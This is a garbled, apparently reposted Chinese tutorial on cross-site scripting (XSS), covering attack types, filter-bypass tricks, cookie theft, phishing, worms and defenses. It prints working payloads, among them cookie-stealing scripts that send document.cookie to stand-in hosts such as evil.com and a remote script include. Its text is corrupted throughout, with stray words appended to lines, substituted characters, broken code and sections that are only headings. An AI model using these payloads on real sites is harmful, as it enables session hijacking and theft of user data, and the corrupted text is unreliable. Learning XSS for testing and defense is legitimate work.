1 什么是XSS跨站脚本javascript
跨站脚本是一种常常出如今Web应用程序中的计算机安全漏洞,是因为Web应用程序对用户输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其余用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采起Cookie资料盗取、会话劫持、钓鱼欺骗等各类攻击。php
XSS跨站脚本自己对WEB服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者通常经过留言、电子邮件或其余途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄执行。html
2 为何XSS跨站漏洞会如此广泛和流行?这是由多个因素形成的java
2.一、Web 浏览器自己的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来建立各类格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。程序员
2.二、 输入与输出是Web应用程序最基本的交互,在这过程之中若没有作好安全防御,web程序很容易会出现XSS漏洞。web
2.三、 如今的应用程序大部分是经过安全团队合做完成的,程序员之间的水平良莠不齐,不多有人受过正规培训,所以,开发的产品不免出现问题。浏览器
2.四、无论是开发人员仍是安全工程师,不少都没有真正意识到XSS的真正危害缓存
2.五、触发跨站脚本的方式很是简单,只要向HTML代码中注入脚本便可安全
3 XSS跨站脚本实例服务器
HTML的script元素标记中间包含JavaScript,这使浏览器知道:当它遇到这一标记时,不该该将此标记内容成HTML或XHTML,从这一点开始,对于内容的控制权已转移给另外一个内置浏览器代理---脚本引擎处理。
XSS 攻击就是将非法的JavaScript、VBscript等脚本注入到用户浏览的网页上执行,而Web浏览器自己的设计是不安全的,它只负责解释和执行Javascript等脚本语言,而不会判断代码自己是否对用户有害。
4 XSS 可能会给网站和用户带来的危害简单归纳以下:
4.一、网络钓鱼,包括盗取各种用户账号;
4.二、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操做
4.三、劫持用户(浏览器)会话,从而执行任意操做,例如进行非法转账、强制发表日志、 发送电子邮件等
4.四、强制弹出广告页面、刷流量等
4.五、网页挂马
4.六、进行恶意操做,例如任意纂改页面信息、删除文章等
4.七、进行大量的客户端攻击,如DDoS攻击
4.八、获取客户端信息,例如用户浏览历史、真实IP、开放端口等
4.九、控制受害者机器向其余网站发起攻击
4.十、结合其余漏洞,如csrf漏洞,实施进一步做恶
4.十一、提高用户权限,包括进一步渗透网站
4.十二、传播跨站脚本蠕虫等
5 XSS分类
5.一、 反射型XSS
反射型xss利用通常是攻击者经过特定手法(好比利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的连接的时候,恶意javaScript代码会直接在受害者主机上的浏览器执行。它的特色是只在用户单击时触发,并且只执行一次,非持久化,因此称为反射型跨站式脚本。
5.二、 持久性XSS
六、XSS的发掘
众所周知,数据交互(即输入/输出)的地方最容易产生跨站脚本,所以,咱们能够着重对网站的输入框、URL参数处进行测试。固然,全部来自COOKIE、POST表单、HTTP头的内容均可能会产生。
</textarea><script>alert(/XSS/)</script><textarea>
6.一、测试用例
<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<IMG SRC=javascript:alert(String.fromChar(88,83,83))>
"><script>alert(0)</script>
......
6.二、XSS Filter
一、利用<>标记注射<script>Html/Javascript
若是用户能够为所欲为地引入<>等标记,那么他就能操做一个HTML标签,而后经过<script>标签就能任意插入由JavaScript或Vbscript编写的恶意脚本代码。
如:<script>alert('XSS');</script>
所以,XSSFilter首当其冲要进行过滤和转义的就是"<>"或<script>等字符。
如此一来,某些形式的XSS即不复存在。
二、利用HTML标签属性值执行XSS
假设用户不能构造本身的HTML标记,可是他们还可使用其余形式来执行XSS,例如HTML标签的属性值。
不少HTML标记中的属性都支持javascript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。
因此,用户能够利用部分HTML标记的属性值进行XSS,请看下面的代码:
<table backgroup="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS');">
三、空格回车Tab
若是XSS Filter仅仅把敏感的输入字符例入黑名单,如对敏感自javascript而言,用户能够利用空格、回车和Tab键绕过限制,请看下面的例子:
<img src="javas cript:alert(/xss/)" width=100>
使用关键字拆分的技巧,用户就能突破过滤器的限制,固然,这种技巧不局限在[tab]键,还可使用回车、空格之类的其余键位符。
四、对标签属性值转码
对普通HTML标记的属性值进行过滤,用户还能够经过编码处理来绕过,所以HTML中属性值自己支持ASCII码形式。ASCII码,即美国信息互换标准代码,是目前计算机最通用的编码标准。由于计算机只能接受数字信息,ASCII码将字符做为数字来表示,以便计算机可以接受和处理,好比大写字母A的ASCII码是65
根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('xss');">
替换成:
<img src="javascript:alert(/xss/);">
因此,为了防范利用HTML标签属性值编码XSS,最好也过滤&#\等字符。
五、产生本身的事件
如今,假设用户不能依靠属性值进行跨站,那还有没有其余方法?答案是确定的,事件就是其中一种方法
既然事件能让JavaScript代码运行,就意味着用户也能利用它执行跨站脚本如:
<img src="#" onerror=alert(/xss/)>
六、利用CSS跨站剖析
七、扰乱过滤规则
利用前面所述的各类技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤。
程序员在汲取各类经验后,在开发过程当中可能已经仔细考虑到各类触发XSS的状况,而后部署好严谨措施,如此一来,系统也变得更加牢固、安全。但不要太自信,请继续看下面示例:
大小写转换
大小写混淆
不用双引号,而用单引号
不使用引号
八、利用字符编码
HTML标签中的某些属性值可使用&#ASCII方式进行编码改写,这种XSS转码支持十进制和十六进制形式。
为了方便测试,咱们接下来使用一个XSS编码工具,以便对字符进行十进制和十六进制的编码解码,该工具还能够实现ESCAPE转码和解码
另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码
eval()也能够执行10进制形式的脚本,但须要配合String.fromCharCode()函数使用。String.fromcharcode()用于将字符转为ASCII值。
JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术若是运用于跨站攻击,无疑能大大增强XSS的威力。
九、拆分跨站法
XSS利用方式剖析
1 Cookie窃取攻击剖析
攻击者一般利用网站的XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型XSS),攻击者就能够向漏洞页面写入窃取Cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就可以获取受害者当前浏览器中的cookie会话攻击。
2 Cookie会话攻击原理剖析
<script
document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie
</script>
3 Cookie 欺骗实例剖析
XSS Expliot以下:
http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>
XSS Phishing
XSS Phishing Expliot
http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>
一、XSS重定向钓鱼
二、HTML注入式钓鱼
三、XSS跨框架钓鱼
四、Flash钓鱼
4 客户端信息刺探
1 javascript实现端口扫描
2 获取剪贴板内容
3 获取客户端IP地址
5 其它恶意攻击剖析
1 网页挂马
2 DDOS
3 XSS Virus/Worm
XSS测试和工具剖析
一、firebug
二、Tamper Data
三、Live HTTP Headers
四、Fiddler
五、XSS-Proxy
六、AttackAPI
七、Anehta
八、 XSS Shell
发掘XSS漏洞剖析
黑盒测试工具
一、Acunetix Web Vulnerability Scanner
二、XSSDetect
三、Ratproxy
黑盒手动测试
若是针对页面的输入框进行测试,首先能够输入一些触发XSS的敏感字符,如:
< > " ' & #
为了实现准确性和全面性,这里首先选择输入特殊字符进行测试。在输入框中输入"<XSS>"'&"并提交,而后在提交后的页面查看源代码,根据关键字“XSS”查找源代码中的"<XSS>"'&"是否已经被过滤和转义。若是连最基本的"<>"字符未被转义,说明这个输入框可能存在XSS漏洞,借此再构造完整XSS代码测试。
XSS Worm 剖析
一个完整的XSS Worm攻击流程以下
一、攻击者发现目标存在XSS漏洞,而且能够编写XSS蠕虫
二、利用一个宿主(如博客空间)做为传播源头进行XSS攻击
三、当其余用户访问北感染的空间时,XSS蠕虫执行如下操做
判断用户是否登陆,若是已登陆就执行下一步:若是没登陆则执行其余操做
继续判断用户是否被感染,若是没有就将其感染,若是已感染则跳过
Flash应用安全
编译好flash文件,将文件命名为xss.swf,而后新建一个HTML文件并嵌入该Flash文件:
<object id="test" width="200" height="150">
<param name=movie value="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">
</embed>
</object>
利用嵌入web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性。allowScriptAccess是使用<embed>或<object>标签引入Flash时提供的一个控制属性,决定了Flash是否能执行脚本代码。
Flash在客户端提供了两个控制属性:allowScriptAccess属性和allowNetworking属性,其中AllowScriptAccess控制Flash与HTML页面通讯,若是设置不恰当会致使XSS;而AllowNetworking控制Flash与外部网络的通讯,若是设置不当会致使CSRF。
深刻XSS
利用Data URIS进行XSS剖析
Data URI方案和MHTML有些相似,提供了一种经过base64编码在网页中直接潜入文件的方法,利用该方法能够绕过基于黑名单过滤的XSS防护系统。
Data URI 格式:
data:[<mime type>] [;charset=<charset>][;base64],<encode data>
Data URI最有趣的地方是可让用户把文件嵌入到其余文件中
Data URIS XSS
data URI提供了一个在HTML或者CSS文件中嵌入图片的方法,但没有严格指定嵌入的文件必须是图片,也就是说,咱们能够在base64编码后嵌入任何类型的文件,甚至HTML自己。
<a href="data:text/html;base64,PHNj......">test<a>
<object data="data:text/html;base64,PHNj......"></object>
防护XSS攻击
一、使用XSS Filter
输入过滤
输出编码
黑名单和白名单
二、定制过滤策略
三、Web定制编码规范
四、防护DOM-Based XSS
五、其余防护方式
XSS与字符编码的那些事儿
html实体编码(10进制与16进制)
如把尖括号编码[<] ------>html十进制;< html十六进制:<
html实体编码自己存在的意义是防止与HTML自己语义标记的冲突,可是在XSS中却成为了咱们的一大利器。
javascript的八进制跟十六进制
如把尖括号编码[<] ------> js八进制:\74 js十六进制:\x3c
jsunicode编码
如把尖括号编码[<] ------>jsunicode:\u003c
url编码base64
如把尖括号编码[<] ------>url: %3c base64: PA==
HTTP请求头
消息头 解释
Host 请求的域名
User-Agent 客户端浏览器型号
Accept 可接受的内容类型
Accept-Language 可接受的语言
Accept-Encoding 可接受的压缩类型
Accept-Charset 可接受的内容编码
Cookie 客户端的用户Cookie
if-Modified-Since 客户端的缓存的最后修改时间
if-None-Match 客户端缓存文件的标示符
HTTP响应报头
消息头 解释
Server Web服务器软件名称
Vary 告诉下游代理是使用缓存响应仍是从原始服务请求
Date 原始服务器消息发出的时间
Last-Modified 请求资源的最后修改时间
Location 用来重定向接收方到非请求URL的位置来完成请求或标识新的资源
Content-Encoding Web服务器支持的返回内容压缩编码类型
Content-Type 返回内容的MIME类型
Content-Length 响应体的长度
Content-Language 响应的语言